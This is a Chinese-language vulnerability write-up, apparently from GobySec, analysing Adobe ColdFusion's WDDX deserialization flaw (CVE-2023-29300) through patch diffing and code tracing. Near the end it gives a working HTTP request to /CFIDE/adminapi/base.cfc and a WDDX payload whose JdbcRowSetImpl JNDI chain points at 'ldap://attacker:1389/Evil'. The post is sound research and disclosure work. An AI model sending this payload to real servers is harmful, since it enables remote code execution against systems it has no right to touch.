漏洞分析|Adobe ColdFusion 序列化漏洞(CVE-2023-29300)

漏洞分析|Adobe ColdFusion 序列化漏洞(CVE-2023-29300)

M1sery GobySec 2023-08-02 11:18

G
o
b
y


30











8596








18


01


概述

近期,Adobe ColdFusion 发布了多个安全更新,引起了我们的关注。Adobe ColdFusion 是一款基于 Java 的商业应用程序服务器,2023 年 7 月 13 日,ProjectDiscovery 发布了分析文章,我们通过研究 CVE-2023-29300 发现这其实是一个未公开且非常有趣的漏洞,此时官方尚未发布安全补丁,因此我们立即开始寻找新的利用方式。不久之后,ProjectDiscovery 意识到自己公布了 0day 漏洞,紧急删除了分析文章,并等待官方发布安全补丁,具体的时间可参考下文的漏洞时间线。

ProjectDiscovery 公布的利用方式受 JDK 小于 9 的限制,经过测试,这条已公开的 JNDI 利用链成功利用率为 0.6%。其中提到了关于 commons-beanutils 的利用链,经过我们的分析,实际上并不需要使用它,并且还存在其它的利用链。本文将从 ColdFusion 2023 发布版的 Update 1 安全更新内容入手,详细分析 CVE-2023-29300 的漏洞成因,并提出一些后续的研究方向。

我们在 Goby 中已经集成了 CVE-2023-29300 漏洞的 JNDI 利用链(CVE-2023-38204),实现了命令执行回显和自定义 ldap 服务器地址的功能。
演示效果如下:

02


漏洞环境

我们已经在 vulfocus 中集成了开箱即用的环境,版本为 Ubuntu 20.04 + JDK 8u60 + Apache Tomcat 9.0.78 + ColdFusion Release 2023.0.0.330468。拉取镜像:

docker pull vulfocus/vcpe-1.0-a-adobe-coldfusion:2023.0.0.330468-openjdk-release

启动环境:

docker run -d -P vulfocus/vcpe-1.0-a-adobe-coldfusion:2023.0.0.330468-openjdk-release

03 漏洞分析

3.1 补丁分析

7 月 12 日,Adobe 发布了 ColdFusion (2023 release) Update 1 更新。将 patch 包反编译后的代码与更新前的代码进行比对,可以发现
coldfusion.wddx.DeserializerWorker#startElement()
方法中的明显变化:

新增的
validateWddxFilter()
方法如下。

private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException {
    String attributeType = atts.getValue("type");
    if (attributeType.endsWith(";")) {
        attributeType = attributeType.replace(";", "");
    }
    if (attributeType.startsWith("L")) {
        String attributeTypeCopy = attributeType;
        validateBlockedClass(attributeTypeCopy.replaceFirst("L", ""));
    }
    validateBlockedClass(attributeType);
}

private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException {
    if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) {
        throw new InvalidWddxPacketException();
    }
}

搜索相关文档可知,ColdFusion 实现了一种叫做 WDDX(Web Distributed Data Exchange,Web 分布式数据交换)的古老的 XML 技术。通过实现 WDDX,可以使变量(包括名称,数据类型和值)序列化成一个 XML 文档,应用程序可通过反序列化此 XML 文档,来重新建立这些变量。

3.2 WDDX 序列化

实现了
coldfusion.wddx.WddxObjectSerializer
接口的各个序列化器能够对数据进行 WDDX 序列化,如
StringSerializer

NumberSerializer

BeanSerializer
等等。我们尝试使用
BeanSerializer
对自定义的 Java Bean 进行序列化,调试过程中也可以看到对象类型与序列化器默认的映射关系。

输出的序列化结果格式如下。

<wddxPacket version='1.0'>
    <header/>
    <data>
        <struct type='LJavaBean;'>
            <var name='age'>
                <number>233.0</number>
            </var>
            <var name='name'>
                <string>233</string>
            </var>
        </struct>
    </data>
</wddxPacket>

对应地,反序列化由
coldfusion.wddx.WddxDeserializer
类实现。对于 ColdFusion 来说,WDDX 中的每个元素都是一个
WddxElement
,不同的元素对应着不同的 Handler 处理类,例如

标签中的元素与属性将由
StringHandler
处理,

标签会由
StructHandler
处理。其中我们关注
onStartElement()

onEndElement()
方法。

public void onStartElement(String name, AttributeList attributes) throws WddxDeserializationException {
    this.m_strictType = attributes.getValue("type");
    //...
}
public void onEndElement() throws WddxDeserializationException {
    if (this.m_strictType == null) {
        // ...
    } else {
        Class beanClass = null;
        Object bean = null;

        try {
            beanClass = getClassBySignature(this.m_strictType);
            bean = beanClass.getDeclaredConstructor().newInstance();
            this.setBeanProperties(bean, this.m_ht);
            this.setTypeAndValue(bean);
        } catch (Exception var6) {
            // ...
        }
    }
}

onStartElement()

onEndElement()
是 SAX 解析器(Simple API for XML)中的回调方法,分别在解析到 XML 元素的开始和结束标签时被调用。可以看到

标签的
type
属性将在
onStartElement()
方法中被赋值给变量
m_strictType
。跟进
getClassBySignature()
方法。

private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {
    int index = 0;
    char c = jniTypeSig.charAt(index);
    String className;
    switch (c) {
        // ...
        default:
            className = jniTypeSig.substring(index + 1, jniTypeSig.length() - 1);
            return Class.forName(className);
        // ...
    }
}

很明显,这里首先会截掉
type
属性的前后两字符,然后将剩下的字符串视作类名,调用
Class.forName()
方法进行类加载,并紧接着在
onEndElement()
方法中调用其无参构造。接下来
StructHandler#setBeanProperties()
方法中存在明显的
Method#invoke()
操作,目的是调用目标对象的 setter 方法,为刚刚被实例化的对象属性赋值。由于代码片段较长,这里就不贴出了。

至此,我们可以得出结论:ColdFusion 的 WDDX 序列化与反序列化机制和 FastJson 很相似,都是基于目标对象的 getter 和 setter 方法,并在序列化和反序列化阶段自动调用。回头看安全更新的内容,如果没有过滤传入的 type 属性,那就类似于 FastJson 1.2.24 版本的情况,攻击者可以利用这个漏洞,实例化任意存在无参构造方法的类,并进一步调用其指定的 setter 方法,而且还可以控
制参数。这无疑是存在漏洞利用的风险的。

3.3 参数传入分析

为了寻找传入序列化 payload 并触发反序列化的途径,我们在 Jadx 中全局搜索
WddxDeserializer#deserialize()
方法的引用,据此跟进
coldfusion.filter.FilterUtils#WDDXDeserialize()

public static Object WDDXDeserialize(String str) throws Throwable {
    WddxDeserializer deserializer = new WddxDeserializer();
    InputSource source = new InputSource(new StringReader(str));
    return deserializer.deserialize(source);
}

继续搜索
WDDXDeserialize()
的引用,跟进
FilterUtils#GetArgumentCollection()

public static Map GetArgumentCollection(FusionContext context) throws Throwable {
    ServletRequest request = context.request;
    String attr = (String)context.pageContext.findAttribute("url.argumentCollection");
    if (attr == null) {
        attr = (String)context.pageContext.findAttribute("form.argumentCollection");
    }

    Struct argumentCollection;
    if (attr == null) {
        // ...
    } else {
        attr = attr.trim();
        if (attr.charAt(0) == '{') {
            // ...
        } else {
            argumentCollection = (Struct)WDDXDeserialize(attr);
        }
    }
    // ...
    return argumentCollection;
}

分析
findAttribute()
方法可知,参数为
url.xxx
表示从请求的 URL 中获取
xxx
的参数值,
form.yyy
表示从上传的表单中获取 yyy 的参数值。继续向上追溯,最终定位到
coldfusion.filter.ComponentFilter#invoke()
方法中。
ComponentFilter
是一个继承了
FusionFilter
抽象类的过滤器,既然和过滤器扯上了关系,第一步肯定就是检查 web.xml 配置文件了。

<servlet-mapping id="coldfusion_mapping_4">
    <servlet-name>CFCServlet</servlet-name>
    <url-pattern>*.cfc</url-pattern>
</servlet-mapping>

可知解析 .cfc 页面的 Servlet 即
CFCServlet
。跟进
CFCServlet

getCFCFilterChain()
方法。

private FusionFilter getCFCFilterChain(ServletRequest request) {
  FusionFilter filter = new ComponentFilter();
  FusionFilter filter = new ApplicationFilter(filter, 3);
  // ...
  FusionFilter filter = new MonitoringFilter((FusionFilter)filter, "CFC REQUEST");
  filter = new PathFilter(filter, this);
  // ...
  FusionFilter filter = new ExceptionFilter((FusionFilter)filter);
  FusionFilter filter = new ClientScopePersistenceFilter(filter);
  FusionFilter filter = new BrowserFilter(filter);
  FusionFilter filter = new NoCacheFilter(filter);
  boolean needsFormScope = true;
  FusionFilter filter = new GlobalsFilter(filter, true);
  FusionFilter filter = new DatasourceFilter(filter);
  return filter;
}

其返回的 Filter Chain 中正好包含有
ComponentFilter
。需要注意的是,
PathFilter
会检查访问的目标文件是否存在,因此我们不能访问一个服务器中不存在的 .cfc 文件。据此尝试构造如下数据包,一路跟进到
ComponentFilter#invoke()
方法:

POST /CFIDE/adminapi/base.cfc HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 365
Content-Type: application/x-www-form-urlencoded

argumentCollection=/* payload */

此处存在一个
if
判断,如果没有传入 method 参数的话就会提前返回 302,截断我们的攻击路径。因此我们还需要传递一个 method 参数。

POST /CFIDE/adminapi/base.cfc?method HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 365
Content-Type: application/x-www-form-urlencoded

argumentCollection=/* payload */

这样我们就能跳过
if
,调用
GetArgumentCollection()
方法将序列化后的恶意数据传入服务器了。

04 漏洞利用

因此,我们类比 FastJson,不难想到通过调用
JdbcRowSetImpl
类的
setDataSourceName

setAutoCommit
两个
setter
方法来构造 JNDI 利用链。此利用链被赋予 CVE 编号 CVE-2023-38204。

<wddxPacket version='1.0'>
    <header/>
    <data>
        <struct type='xcom.sun.rowset.JdbcRowSetImplx'>
            <var name='dataSourceName'>
                <string>ldap://attacker:1389/Evil</string>
            </var>
            <var name='autoCommit'>
                <boolean value='true'/>
            </var>
        </struct>
    </data>
</wddxPacket>

我们注意到在 WEB-INF/bundles 及其子文件夹 repo 下还存有大量 Jar 包。在“存在即合理”的假设前提下,我们将所有 Jar 添加进了工作环境,在此基础上继续挖掘新的利用链,并成功实现了一种带有限制的新的利用方式。

05 漏洞时间线

CVE-2023-29300
– 2023.7.11 官方发布安全公告

  • 2023.7.12 ProjectDiscovery 分析文章发布,未意识到 0day 公布

  • 2023.7.13 ProjectDiscovery 隐藏分析文章

  • 2023.7.14 漏洞修复

CVE-2023-38204
– 2023.7.13 漏洞披露(CVE-2023-29300 的具体利用链)

  • 2023.7.19 漏洞修复

  • 2023.7.19 ProjectDiscovery 开放分析文章

06 总结

通过研究 CVE-2023-29300,我们了解了 Adobe ColdFusion 产品的基本工作原理,其不安全的 WDDX 序列化实现将产生可利用的漏洞。同时,我们详细分析了通过
argumentCollection
参数传入 payload 的完整调用路径,以及为何需要传入看似与利用无关的 method 参数。在此基础上,我们探索了利用的新方向,在这个过程中也踩了不少坑。阅读本篇文章后,大家在复现此漏洞以及在将来需要研究此产品时,就可以少走一些弯路了,后续有机会的话,会进一步分享研究成果。

07 参考链接

https://blog.projectdiscovery.io/adobe-coldfusion-rce/https://helpx.adobe.com/coldfusion/kb/coldfusion-2023-update-1.html

https://helpx.adobe.com/sg/coldfusion/developing-applications/using-web-elements-and-external-objects/using-xml-and-wddx/moving-complex-data-across-the-web-with-wddx.html

最新Goby 使用技巧分享

• 14m3ta7k | 跨越语言的艺术:Weblogic序列化漏洞与IIOP协议

• 14m3ta7k | Weblogic CVE-2023-21931漏洞挖掘技技巧:后反序列化利用

• 
kv2 | 死磕RDP协议,从截图和暴破说起

• 14m3ta7k | 死磕Jenkins漏洞回显与利用效果

• 路人甲 | Metabase (CVE-2023-38646):H2 JDBC深入利用





G
o
b
y





/











































稿

G
o
b
y

G
o
b
y



/


/




/




/




/

P
o
C



/

I
P


使



/

W
e
b
s
h
e
l
l

/

















G
o
b
y















~
~
~
– 微



































  • h
    t
    t
    p
    s
    :
    /
    /
    g
    o
    b
    y
    s
    e
    c
    .
    n
    e
    t
    /
    s
    a
    l
    e